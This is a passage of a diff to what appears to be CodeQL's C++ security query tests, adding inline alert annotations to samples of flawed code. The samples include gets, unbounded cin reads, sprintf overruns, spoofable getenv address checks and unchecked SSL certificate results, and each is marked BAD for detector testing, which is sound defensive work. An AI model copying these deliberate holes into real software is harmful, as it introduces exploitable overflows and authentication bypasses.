deref=L794->L815->L821 deref=L794->L816->L821 deref=L794->L820->L821 // BAD + *p = 0; // $ deref=L794->L815->L821 deref=L794->L816->L821 deref=L794->L820->L821 Alert[cpp/invalid-pointer-deref]=r28 // BAD } for (char* p = begin; p < end; ++p) { @@ -838,26 +838,26 @@ void test15_with_malloc(size_t index) { if(size < index) { return; } - int* newname = (int*)malloc(size); - newname[index] = 0; // $ SPURIOUS: alloc=L841 deref=L842 // GOOD [FALSE POSITIVE] + int* newname = (int*)malloc(size); // $ Source[cpp/invalid-pointer-deref]=r29 + newname[index] = 0; // $ SPURIOUS: alloc=L841 deref=L842 Alert[cpp/invalid-pointer-deref]=r29 // GOOD [FALSE POSITIVE] } void test16_with_malloc(size_t index) { size_t size = index + 13; if(size >= index) { - int* newname = (int*)malloc(size); - newname[index] = 0; // $ SPURIOUS: alloc=L848 deref=L849 // GOOD [FALSE POSITIVE] + int* newname = (int*)malloc(size); // $ Source[cpp/invalid-pointer-deref]=r30 + newname[index] = 0; // $ SPURIOUS: alloc=L848 deref=L849 Alert[cpp/invalid-pointer-deref]=r30 // GOOD [FALSE POSITIVE] } } # define MyMalloc(size) malloc(((size) == 0 ? 1 : (size))) void test_regression(size_t size) { - int* p = (int*)MyMalloc(size + 1); + int* p = (int*)MyMalloc(size + 1); // $ Source[cpp/invalid-pointer-deref]=r31 int* chend = p + (size + 1); // $ alloc=L856+1 if(p <= chend) { - *p = 42; // $ deref=L857->L860 // BAD + *p = 42; // $ deref=L857->L860 Alert[cpp/invalid-pointer-deref]=r31 // BAD } } @@ -865,7 +865,7 @@ void test_regression(size_t size) { void* g_malloc(size_t size); void test17(int size) { - char* p = (char*)g_malloc(size); + char* p = (char*)g_malloc(size); // $ Source[cpp/invalid-pointer-deref]=r32 char* q = p + size; // $ alloc=L868 - char a = *q; // $ deref=L869->L870 // BAD -} \ No newline at end of file + char a = *q; // $ deref=L869->L870 Alert[cpp/invalid-pointer-deref]=r32 // BAD +} diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-197/SAMATE/IntegerOverflowTainted/IntegerOverflowTainted.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-197/SAMATE/IntegerOverflowTainted/IntegerOverflowTainted.qlref index 72ed7d536854..419ed80f3b9e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-197/SAMATE/IntegerOverflowTainted/IntegerOverflowTainted.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-197/SAMATE/IntegerOverflowTainted/IntegerOverflowTainted.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-190/IntegerOverflowTainted.ql \ No newline at end of file +query: Security/CWE/CWE-190/IntegerOverflowTainted.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-197/SAMATE/IntegerOverflowTainted/tests.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-197/SAMATE/IntegerOverflowTainted/tests.cpp index 79f9a79c97fc..76d25fbe46c8 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-197/SAMATE/IntegerOverflowTainted/tests.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-197/SAMATE/IntegerOverflowTainted/tests.cpp @@ -35,7 +35,7 @@ void CWE197_Numeric_Truncation_Error__short_fscanf_82_bad::action(short data) { { /* POTENTIAL FLAW: Convert data to a char, possibly causing a truncation error */ - char charData = (char)data; + char charData = (char)data; // $ Alert printHexCharLine(charData); } } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/DangerousFunctionOverflow.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/DangerousFunctionOverflow.qlref index e46499468514..41d5b35b3c97 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/DangerousFunctionOverflow.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/DangerousFunctionOverflow.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-676/DangerousFunctionOverflow.ql +query: Security/CWE/CWE-676/DangerousFunctionOverflow.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/DangerousUseOfCin.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/DangerousUseOfCin.qlref index 676e30536454..a5067fc5ee1a 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/DangerousUseOfCin.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/DangerousUseOfCin.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-676/DangerousUseOfCin.ql \ No newline at end of file +query: Security/CWE/CWE-676/DangerousUseOfCin.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/OverrunWrite.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/OverrunWrite.qlref index f6c962c1a7b4..18ae0f2a567b 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/OverrunWrite.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/OverrunWrite.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-120/OverrunWrite.ql \ No newline at end of file +query: Security/CWE/CWE-120/OverrunWrite.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/OverrunWriteFloat.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/OverrunWriteFloat.qlref index 757d1592e830..ba8f6a96a1fd 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/OverrunWriteFloat.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/OverrunWriteFloat.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-120/OverrunWriteFloat.ql \ No newline at end of file +query: Security/CWE/CWE-120/OverrunWriteFloat.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/VeryLikelyOverrunWrite.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/VeryLikelyOverrunWrite.qlref index 94b53951c4b7..8dcc2f70c2f6 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/VeryLikelyOverrunWrite.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/VeryLikelyOverrunWrite.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-120/VeryLikelyOverrunWrite.ql \ No newline at end of file +query: Security/CWE/CWE-120/VeryLikelyOverrunWrite.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/tests.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/tests.cpp index 8bb6dfdd996c..870d6786e000 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/tests.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-242/semmle/tests/tests.cpp @@ -109,7 +109,7 @@ char *test1() { static char buffer[1024]; - return gets(buffer); // BAD: use of gets + return gets(buffer); // BAD: use of gets // $ Alert[cpp/dangerous-function-overflow] } typedef char MYCHAR; @@ -126,10 +126,10 @@ void test2() char *buffer4 = buffer1; std::istream &input = std::cin; - std::cin >> buffer1; // BAD: use of operator>> into a statically-allocated character array - std::cin >> buffer2; // BAD: use of operator>> into a statically-allocated character array - std::cin >> buffer3; // BAD: use of operator>> into a statically-allocated character array - std::cin >> buffer4; // BAD: use of operator>> into a statically-allocated character array + std::cin >> buffer1; // BAD: use of operator>> into a statically-allocated character array // $ Alert[cpp/dangerous-cin] + std::cin >> buffer2; // BAD: use of operator>> into a statically-allocated character array // $ Alert[cpp/dangerous-cin] + std::cin >> buffer3; // BAD: use of operator>> into a statically-allocated character array // $ Alert[cpp/dangerous-cin] + std::cin >> buffer4; // BAD: use of operator>> into a statically-allocated character array // $ Alert[cpp/dangerous-cin] input >> buffer1; // BAD: use of operator>> into a statically-allocated character array (NOT DETECTED) } @@ -154,7 +154,7 @@ void test2() int i, j, k; std::cin >> i >> j >> k; // GOOD: destinations are not character arrays - std::cin >> i >> buffer >> k; // BAD: use of operator>> into a statically-allocated character array + std::cin >> i >> buffer >> k; // BAD: use of operator>> into a statically-allocated character array // $ Alert[cpp/dangerous-cin] } @@ -163,7 +163,7 @@ void test2() static char buf[1024]; static int i; - std::wcin >> wbuf; // BAD: use of operator>> into a statically-allocated character array + std::wcin >> wbuf; // BAD: use of operator>> into a statically-allocated character array // $ Alert[cpp/dangerous-cin] std::wcin >> i; // GOOD: destination is not a character array } @@ -174,9 +174,9 @@ void test2() char buf[4096]; int i; - my_ifstream >> buf; // BAD: use of operator>> into a statically-allocated character array + my_ifstream >> buf; // BAD: use of operator>> into a statically-allocated character array // $ Alert[cpp/dangerous-cin] my_ifstream >> i; // GOOD: destination is not a character array - my_wifstream >> wbuf; // BAD: use of operator>> into a statically-allocated character array + my_wifstream >> wbuf; // BAD: use of operator>> into a statically-allocated character array // $ Alert[cpp/dangerous-cin] my_wifstream >> i; // GOOD: destination is not a character array } @@ -187,10 +187,10 @@ void test2() std::cin.width(10); std::cin >> buf1; // GOOD: controlled by width() - std::cin >> buf2; // BAD: uncontrolled by width() + std::cin >> buf2; // BAD: uncontrolled by width() // $ Alert[cpp/dangerous-cin] std::cin.width(10); - std::cin >> buf1 >> buf2; // BAD: buf2 is uncontrolled by width() + std::cin >> buf1 >> buf2; // BAD: buf2 is uncontrolled by width() // $ Alert[cpp/dangerous-cin] std::cin.width(10); std::cin >> i; // GOOD: destination is not a character array @@ -200,18 +200,18 @@ void test2() std::cin >> i >> buf1; // GOOD: controlled by width() std::cin.width(20); - std::cin >> buf1; // BAD: specified width is too large + std::cin >> buf1; // BAD: specified width is too large // $ Alert[cpp/dangerous-cin] std::cin.width(int_func()); std::cin >> buf1; // GOOD: controlled by width() std::wcin.width(10); - std::cin >> buf2; // BAD: uncontrolled by width() + std::cin >> buf2; // BAD: uncontrolled by width() // $ Alert[cpp/dangerous-cin] std::wcin >> wbuf; // GOOD: controlled by width() std::cin >> std::setw(10) >> buf1; // GOOD: controlled by setw - std::cin >> std::setw(10) >> buf1 >> buf2; // BAD: buf2 is uncontrolled - std::cin >> std::setw(20) >> buf1; // BAD: specified width is too large + std::cin >> std::setw(10) >> buf1 >> buf2; // BAD: buf2 is uncontrolled // $ Alert[cpp/dangerous-cin] + std::cin >> std::setw(20) >> buf1; // BAD: specified width is too large // $ Alert[cpp/dangerous-cin] std::cin.width(20); std::cin.width(10); @@ -222,7 +222,7 @@ void test2() char buf[10]; int i; - (std::cin >> i) >> buf; // BAD: use of operator>> into a statically-allocated character array + (std::cin >> i) >> buf; // BAD: use of operator>> into a statically-allocated character array // $ Alert[cpp/dangerous-cin] (std::cin >> i).width(10); std::cin >> buf; // GOOD: controlled by width() @@ -234,7 +234,7 @@ void test2() char buf[10]; std::string str; - std::cin >> std::setw(10) >> str >> buf; // BAD: buf is uncontrolled + std::cin >> std::setw(10) >> str >> buf; // BAD: buf is uncontrolled // $ Alert[cpp/dangerous-cin] } } @@ -246,8 +246,8 @@ void test3(char c, int val, char *str) char buffer10[10]; MyCharArray myBuffer10; - gets(buffer10); // BAD: use of gets - gets(myBuffer10); // BAD: use of gets + gets(buffer10); // BAD: use of gets // $ Alert[cpp/dangerous-function-overflow] + gets(myBuffer10); // BAD: use of gets // $ Alert[cpp/dangerous-function-overflow] sprintf(buffer10, "%c", c); // GOOD sprintf(myBuffer10, "%c", c); // GOOD @@ -255,8 +255,8 @@ void test3(char c, int val, char *str) sprintf(buffer10, "%s", str); // BAD: potential buffer overflow [NOT DETECTED] sprintf(myBuffer10, "%s", str); // BAD: potential buffer overflow [NOT DETECTED] - sprintf(buffer10, "val: %i", val); // BAD: potential buffer overflow - sprintf(myBuffer10, "val: %i", val); // BAD: potential buffer overflow + sprintf(buffer10, "val: %i", val); // BAD: potential buffer overflow // $ Alert[cpp/overrunning-write] + sprintf(myBuffer10, "val: %i", val); // BAD: potential buffer overflow // $ Alert[cpp/overrunning-write] } void test3_caller() @@ -269,8 +269,8 @@ void test4() char buffer8[8]; char *buffer8_ptr = buffer8; - sprintf(buffer8, "12345678"); // BAD: buffer overflow - sprintf(buffer8_ptr, "12345678"); // BAD: buffer overflow + sprintf(buffer8, "12345678"); // BAD: buffer overflow // $ Alert[cpp/very-likely-overrunning-write] + sprintf(buffer8_ptr, "12345678"); // BAD: buffer overflow // $ Alert[cpp/very-likely-overrunning-write] } typedef void *va_list; @@ -284,7 +284,7 @@ void test5(va_list args, float f) vsprintf(buffer10, "123456789", args); // GOOD vsprintf(buffer10, "1234567890", args); // BAD: buffer overflow [NOT DETECTED] - sprintf(buffer64, "%f", f); // BAD: potential buffer overflow + sprintf(buffer64, "%f", f); // BAD: potential buffer overflow // $ Alert[cpp/overrunning-write-with-float] vsprintf(buffer4, "123", args); // GOOD vsprintf(buffer4, "1234", args); // BAD: buffer overflow [NOT DETECTED] @@ -305,28 +305,28 @@ namespace custom_sprintf_impl { void regression_test1() { char buffer8[8]; - sprintf(buffer8, "12345678"); // BAD: potential buffer overflow + sprintf(buffer8, "12345678"); // BAD: potential buffer overflow // $ Alert[cpp/very-likely-overrunning-write] } } void test6(unsigned unsigned_value, int value) { char buffer2[2], buffer3[3], buffer4[4], buffer5[5]; - sprintf(buffer4, "%u", unsigned_value); // BAD: buffer overflow - sprintf(buffer4, "%d", unsigned_value); // BAD: buffer overflow + sprintf(buffer4, "%u", unsigned_value); // BAD: buffer overflow // $ Alert[cpp/overrunning-write] + sprintf(buffer4, "%d", unsigned_value); // BAD: buffer overflow // $ Alert[cpp/overrunning-write] if (unsigned_value < 1000) { sprintf(buffer4, "%u", unsigned_value); // GOOD } - sprintf(buffer4, "%u", -100); // BAD: buffer overflow + sprintf(buffer4, "%u", -100); // BAD: buffer overflow // $ Alert[cpp/very-likely-overrunning-write] if(unsigned_value == (unsigned)-100) { - sprintf(buffer4, "%u", unsigned_value); // BAD: buffer overflow + sprintf(buffer4, "%u", unsigned_value); // BAD: buffer overflow // $ Alert[cpp/very-likely-overrunning-write] } - sprintf(buffer4, "%d", value); // BAD: buffer overflow + sprintf(buffer4, "%d", value); // BAD: buffer overflow // $ Alert[cpp/overrunning-write] if (value < 1000) { - sprintf(buffer4, "%d", value); // BAD: buffer overflow + sprintf(buffer4, "%d", value); // BAD: buffer overflow // $ Alert[cpp/overrunning-write] if(value > -100) { sprintf(buffer4, "%d", value); // GOOD @@ -338,28 +338,28 @@ void test6(unsigned unsigned_value, int value) { sprintf(buffer2, "%u", 5); // GOOD sprintf(buffer2, "%d", 5); // GOOD - sprintf(buffer2, "%d", -1); // BAD + sprintf(buffer2, "%d", -1); // BAD // $ Alert[cpp/very-likely-overrunning-write] sprintf(buffer2, "%d", 9); // GOOD - sprintf(buffer2, "%d", 10); // BAD + sprintf(buffer2, "%d", 10); // BAD // $ Alert[cpp/very-likely-overrunning-write] - sprintf(buffer2, "%u", -1); // BAD + sprintf(buffer2, "%u", -1); // BAD // $ Alert[cpp/very-likely-overrunning-write] sprintf(buffer2, "%u", 9); // GOOD - sprintf(buffer2, "%u", 10); // BAD + sprintf(buffer2, "%u", 10); // BAD // $ Alert[cpp/very-likely-overrunning-write] unsigned char unsigned_char = unsigned_value; - sprintf(buffer3, "%u", (unsigned)unsigned_char); // BAD + sprintf(buffer3, "%u", (unsigned)unsigned_char); // BAD // $ Alert[cpp/overrunning-write] sprintf(buffer4, "%u", (unsigned)unsigned_char); // GOOD: 0..255 fits unsigned small = unsigned_value >> (sizeof(unsigned_value) * 8 - 9); // in range 0..511 - sprintf(buffer3, "%u", small); // BAD + sprintf(buffer3, "%u", small); // BAD // $ Alert[cpp/very-likely-overrunning-write] sprintf(buffer4, "%u", small); // GOOD small = unsigned_value & ((1u << 9) - 1); // in range 0..511 - sprintf(buffer3, "%u", small); // BAD + sprintf(buffer3, "%u", small); // BAD // $ Alert[cpp/very-likely-overrunning-write] sprintf(buffer4, "%u", small); // GOOD: 0..511 fits char c = value; - sprintf(buffer4, "%d", (int)c); // BAD: e.g. -127 does not fit + sprintf(buffer4, "%d", (int)c); // BAD: e.g. -127 does not fit // $ Alert[cpp/overrunning-write] sprintf(buffer5, "%d", (int)c); // GOOD: -127..128 fits } \ No newline at end of file diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-253/HResultBooleanConversion.c b/cpp/ql/test/query-tests/Security/CWE/CWE-253/HResultBooleanConversion.c index 732fd5f0f443..61c7817b5b93 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-253/HResultBooleanConversion.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-253/HResultBooleanConversion.c @@ -39,22 +39,22 @@ bool BoolFunction2() HRESULT IncorrectHresultFunction() { - return BoolFunction(); // BUG + return BoolFunction(); // BUG // $ Alert } HRESULT IncorrectHresultFunction2() { - return BoolFunction2(); // BUG + return BoolFunction2(); // BUG // $ Alert } void IncorrectTypeConversionTest() { HRESULT hr = HresultFunction(); - if ((BOOL)hr) // BUG + if ((BOOL)hr) // BUG // $ Alert { // ... } - if ((bool)hr) // BUG + if ((bool)hr) // BUG // $ Alert { // ... } @@ -63,11 +63,11 @@ void IncorrectTypeConversionTest() { // ... } - if (SUCCEEDED(BoolFunction())) // BUG + if (SUCCEEDED(BoolFunction())) // BUG // $ Alert { // ... } - if (SUCCEEDED(BoolFunction2())) // BUG + if (SUCCEEDED(BoolFunction2())) // BUG // $ Alert { // ... } @@ -75,11 +75,11 @@ void IncorrectTypeConversionTest() { { // ... } - BOOL b = IncorrectHresultFunction(); // BUG - bool b2 = IncorrectHresultFunction(); // BUG + BOOL b = IncorrectHresultFunction(); // BUG // $ Alert + bool b2 = IncorrectHresultFunction(); // BUG // $ Alert hr = E_UNEXPECTED; - if (!hr) // BUG + if (!hr) // BUG // $ Alert { // ... } @@ -89,7 +89,7 @@ void IncorrectTypeConversionTest() { } hr = S_FALSE; - if (hr) // BUG + if (hr) // BUG // $ Alert { // ... } @@ -103,7 +103,7 @@ void IncorrectTypeConversionTest() { // ... } - while (!HresultFunction()) {}; // BUG + while (!HresultFunction()) {}; // BUG // $ Alert while (FAILED(HresultFunction())) {}; // Correct Usage switch(hr) // Correct Usage diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-253/HResultBooleanConversion.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-253/HResultBooleanConversion.cpp index d2857226bfaa..8e1ede3d618d 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-253/HResultBooleanConversion.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-253/HResultBooleanConversion.cpp @@ -36,22 +36,22 @@ bool BoolFunction2() HRESULT IncorrectHresultFunction() { - return BoolFunction(); // BUG + return BoolFunction(); // BUG // $ Alert } HRESULT IncorrectHresultFunction2() { - return BoolFunction2(); // BUG + return BoolFunction2(); // BUG // $ Alert } void IncorrectTypeConversionTest() { HRESULT hr = HresultFunction(); - if ((BOOL)hr) // BUG + if ((BOOL)hr) // BUG // $ Alert { // ... } - if ((bool)hr) // BUG + if ((bool)hr) // BUG // $ Alert { // ... } @@ -60,11 +60,11 @@ void IncorrectTypeConversionTest() { // ... } - if (SUCCEEDED(BoolFunction())) // BUG + if (SUCCEEDED(BoolFunction())) // BUG // $ Alert { // ... } - if (SUCCEEDED(BoolFunction2())) // BUG + if (SUCCEEDED(BoolFunction2())) // BUG // $ Alert { // ... } @@ -72,11 +72,11 @@ void IncorrectTypeConversionTest() { { // ... } - BOOL b = IncorrectHresultFunction(); // BUG - bool b2 = IncorrectHresultFunction(); // BUG + BOOL b = IncorrectHresultFunction(); // BUG // $ Alert + bool b2 = IncorrectHresultFunction(); // BUG // $ Alert hr = E_UNEXPECTED; - if (!hr) // BUG + if (!hr) // BUG // $ Alert { // ... } @@ -86,7 +86,7 @@ void IncorrectTypeConversionTest() { } hr = S_FALSE; - if (hr) // BUG + if (hr) // BUG // $ Alert { // ... } @@ -100,7 +100,7 @@ void IncorrectTypeConversionTest() { // ... } - while (!HresultFunction()) {}; // BUG + while (!HresultFunction()) {}; // BUG // $ Alert while (FAILED(HresultFunction())) {}; // Correct Usage switch(hr) // Correct Usage diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-253/HResultBooleanConversion.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-253/HResultBooleanConversion.qlref index a345e5c6dfb3..101c0a1e3e2e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-253/HResultBooleanConversion.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-253/HResultBooleanConversion.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-253/HResultBooleanConversion.ql \ No newline at end of file +query: Security/CWE/CWE-253/HResultBooleanConversion.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-290/semmle/AuthenticationBypass/AuthenticationBypass.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-290/semmle/AuthenticationBypass/AuthenticationBypass.qlref index cf3c4b27d278..3e4f219f5233 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-290/semmle/AuthenticationBypass/AuthenticationBypass.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-290/semmle/AuthenticationBypass/AuthenticationBypass.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-290/AuthenticationBypass.ql \ No newline at end of file +query: Security/CWE/CWE-290/AuthenticationBypass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-290/semmle/AuthenticationBypass/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-290/semmle/AuthenticationBypass/test.cpp index 72b9155cb841..92fe7c24748e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-290/semmle/AuthenticationBypass/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-290/semmle/AuthenticationBypass/test.cpp @@ -13,51 +13,51 @@ int isServer; void processRequest1() { - const char *address = getenv("SERVERIP"); + const char *address = getenv("SERVERIP"); // $ Source // BAD: the address is controllable by the user, so it // could be spoofed to bypass the security check. - if (strcmp(address, "127.0.0.1")) { + if (strcmp(address, "127.0.0.1")) { // $ Alert isServer = 1; } } void processRequest2() { - const char *address = getenv("SERVERIP"); + const char *address = getenv("SERVERIP"); // $ Source // BAD: the address is controllable by the user, so it // could be spoofed to bypass the security check. - if (strcmp(address, "www.mycompany.com")) { + if (strcmp(address, "www.mycompany.com")) { // $ Alert isServer = 1; } } void processRequest3() { - const char *address = getenv("SERVERIP"); + const char *address = getenv("SERVERIP"); // $ Source // BAD: the address is controllable by the user, so it // could be spoofed to bypass the security check. - if (strcmp(address, "www.mycompany.co.uk")) { + if (strcmp(address, "www.mycompany.co.uk")) { // $ Alert isServer = 1; } } void processRequest4() { - const char *address = getenv("SERVERIP"); + const char *address = getenv("SERVERIP"); // $ Source bool cond = false; - if (strcmp(address, "127.0.0.1")) { cond = true; } // BAD + if (strcmp(address, "127.0.0.1")) { cond = true; } // BAD // $ Alert if (strcmp(address, "127_0_0_1")) { cond = true; } // GOOD (not an IP) if (strcmp(address, "127.0.0")) { cond = true; } // GOOD (not an IP) if (strcmp(address, "127.0.0.0.1")) { cond = true; } // GOOD (not an IP) - if (strcmp(address, "http://mycompany")) { cond = true; } // BAD + if (strcmp(address, "http://mycompany")) { cond = true; } // BAD // $ Alert if (strcmp(address, "http_//mycompany")) { cond = true; } // GOOD (not an address) if (strcmp(address, "htt://mycompany")) { cond = true; } // GOOD (not an address) if (strcmp(address, "httpp://mycompany")) { cond = true; } // GOOD (not an address) - if (strcmp(address, "mycompany.com")) { cond = true; } // BAD + if (strcmp(address, "mycompany.com")) { cond = true; } // BAD // $ Alert if (strcmp(address, "mycompany_com")) { cond = true; } // GOOD (not an address) if (strcmp(address, "mycompany.c")) { cond = true; } // GOOD (not an address) if (strcmp(address, "mycompany.comm")) { cond = true; } // GOOD (not an address) diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-295/SSLResultConflation.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-295/SSLResultConflation.qlref index 493b42eeae1f..116b386747b9 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-295/SSLResultConflation.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-295/SSLResultConflation.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-295/SSLResultConflation.ql \ No newline at end of file +query: Security/CWE/CWE-295/SSLResultConflation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-295/SSLResultNotChecked.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-295/SSLResultNotChecked.qlref index f019c08b357a..fc0209620fec 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-295/SSLResultNotChecked.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-295/SSLResultNotChecked.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-295/SSLResultNotChecked.ql \ No newline at end of file +query: Security/CWE/CWE-295/SSLResultNotChecked.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-295/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-295/test.cpp index 74f00600a506..d059123b30b4 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-295/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-295/test.cpp @@ -15,7 +15,7 @@ bool is_ok(int result) bool is_maybe_ok(int result) { - return (result == 0) || (result == 1); // BAD (conflates OK and a non-OK codes) + return (result == 0) || (result == 1); // BAD (conflates OK and a non-OK codes) // $ Alert[cpp/certificate-result-conflation] } void test1_1(SSL *ssl) @@ -35,7 +35,7 @@ void test1_1(SSL *ssl) { int result = SSL_get_verify_result(ssl); - if ((result == 0) || (result == 1)) // BAD (conflates OK and a non-OK codes) + if ((result == 0) || (result == 1)) // BAD (conflates OK and a non-OK codes) // $ Alert[cpp/certificate-result-conflation] { } } @@ -51,7 +51,7 @@ void test1_1(SSL *ssl) { int result = SSL_get_verify_result(ssl); - if ((result == 0) || (false) || (result == 2)) // BAD (conflates OK and a non-OK codes) + if ((result == 0) || (false) || (result == 2)) // BAD (conflates OK and a non-OK codes) // $ Alert[cpp/certificate-result-conflation] { } } @@ -59,7 +59,7 @@ void test1_1(SSL *ssl) { int result = SSL_get_verify_result(ssl); - if ((0 == result) || (1 == result)) // BAD (conflates OK and a non-OK codes) + if ((0 == result) || (1 == result)) // BAD (conflates OK and a non-OK codes) // $ Alert[cpp/certificate-result-conflation] { } } @@ -67,7 +67,7 @@ void test1_1(SSL *ssl) { int result = SSL_get_verify_result(ssl); - if ((result != 0) && (result != 1)) // BAD (conflates OK and a non-OK codes) + if ((result != 0) && (result != 1)) // BAD (conflates OK and a non-OK codes) // $ Alert[cpp/certificate-result-conflation] { } else { // conflation occurs here @@ -80,11 +80,11 @@ void test1_1(SSL *ssl) int result2 = get_verify_result_indirect(ssl); int result3 = something_else(ssl); - if ((result == 0) || (result_cpy == 1)) // BAD (conflates OK and a non-OK codes) + if ((result == 0) || (result_cpy == 1)) // BAD (conflates OK and a non-OK codes) // $ Alert[cpp/certificate-result-conflation] { } - if ((result2 == 0) || (result2 == 1)) // BAD (conflates OK and a non-OK codes) + if ((result2 == 0) || (result2 == 1)) // BAD (conflates OK and a non-OK codes) // $ Alert[cpp/certificate-result-conflation] { } @@ -104,9 +104,9 @@ void test1_1(SSL *ssl) { int result = SSL_get_verify_result(ssl); - bool ok = (result == 0) || (result == 1); // BAD (conflates OK and a non-OK codes) + bool ok = (result == 0) || (result == 1); // BAD (conflates OK and a non-OK codes) // $ Alert[cpp/certificate-result-conflation] - if (ok) { + if (ok) { // $ Alert[cpp/certificate-result-conflation] } } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-295/test2.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-295/test2.cpp index ed6e3989f2b0..46f89f79868b 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-295/test2.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-295/test2.cpp @@ -10,7 +10,7 @@ bool maybe(); bool test2_1(SSL *ssl) { - int cert = SSL_get_peer_certificate(ssl); // BAD (SSL_get_verify_result is never called) + int cert = SSL_get_peer_certificate(ssl); // BAD (SSL_get_verify_result is never called) // $ Alert[cpp/certificate-not-checked] return true; } @@ -25,7 +25,7 @@ bool test2_2(SSL *ssl) bool test2_3(SSL *ssl) { - int cert = SSL_get_peer_certificate(ssl); // BAD (SSL_get_verify_result may not be called) + int cert = SSL_get_peer_certificate(ssl); // BAD (SSL_get_verify_result may not be called) // $ Alert[cpp/certificate-not-checked] if (maybe()) { @@ -58,7 +58,7 @@ bool test2_5(SSL *ssl) { int cert, result; - cert = SSL_get_peer_certificate(ssl); // BAD (SSL_get_verify_result is not used reliably) + cert = SSL_get_peer_certificate(ssl); // BAD (SSL_get_verify_result is not used reliably) // $ Alert[cpp/certificate-not-checked] if ((cert != 0) && (maybe())) { result = SSL_get_verify_result(ssl); @@ -86,7 +86,7 @@ bool test2_7(SSL *ssl) { int cert; - cert = SSL_get_peer_certificate(ssl); // BAD (SSL_get_verify_result is only called when there is not a cert) + cert = 